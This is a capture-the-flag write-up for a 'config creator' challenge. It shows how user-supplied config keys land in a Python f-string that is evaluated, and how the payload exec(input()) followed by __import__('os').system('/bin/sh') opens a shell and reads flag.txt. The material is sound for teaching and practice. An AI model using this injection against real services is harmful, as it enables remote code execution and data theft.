I’ve just written a small utility to create a config file (which are sooo painful to write by hand, right?).

Care to have a look?

nc config-creator.ctf.insecurity-insa.fr 10000

That’s all: no binary, no libc. Let’s try to interact with the program.

$ nc config-creator.ctf.insecurity-insa.fr 10000
Welcome to the config creator!

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice?

We are presented with a menu with several options, we can register a new config entry, edit an existing one, etc…this really looks like a typical heap exploitation challenge.

Let’s explore the options and see what happens.

Choice? 1

Config key? test
Config value? test

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 3

template:
f"""
configuration [
    test = {test};
]
"""

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 4

config:

configuration [
    test = test;
]

First we create a couple key:value with function 1 and then we can use functions 3 and 4 to access it.

Let’s try editing the config entry with function 2.

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 2

Config key? test
Config value? test2

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 3

template:
f"""
configuration [
    test = {test};
]
"""

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 4

config:

configuration [
    test = test2;
]

Everything as expected. What if we send an empty input?

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 1

Config key? 
Config value? 

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 3

template:
f"""
configuration [
    test = {test};
     = {};
]
"""

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 4

config:
f-string: empty expression not allowed (<string>, line 6)
An error occurred, sorry

Uh? What’s this? After a quick search we can find that this is a Python3 feature called f-strings.

So, why not just try inserting some Python code and see if it is executed?

Choice? 1

Config key? exit()
Config value? test

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 3

template:
f"""
configuration [
    exit() = {exit()};
]
"""

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 4

config:
$ 

It seems to work, the connection is closed!

If we play a little bit more with the program, we can see that some characters (like spaces, dots, underscores, quotes, etc…) are filtered out when we input the key, however round parenthesis are allowed and that’s more than enough to get a shell: exec(input()).

$ nc config-creator.ctf.insecurity-insa.fr 10000
Welcome to the config creator!

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 1

Config key? exec(input())  
Config value? 1337

Please choose your action:
  1. Register a new config entry
  2. Change value of an existing config entry
  3. Show my template
  4. Show my config
  5. Reset current config
  6. exit

Choice? 4

config:
__import__('os').system('/bin/sh')
id
uid=1000(config-creator) gid=1000(config-creator) groups=1000(config-creator)
ls
app.py
flag.txt
cat flag.txt
INSA{dont_get_me_wrong_i_love_python36}

You can find the source code of the challenge and a python exploit for it here.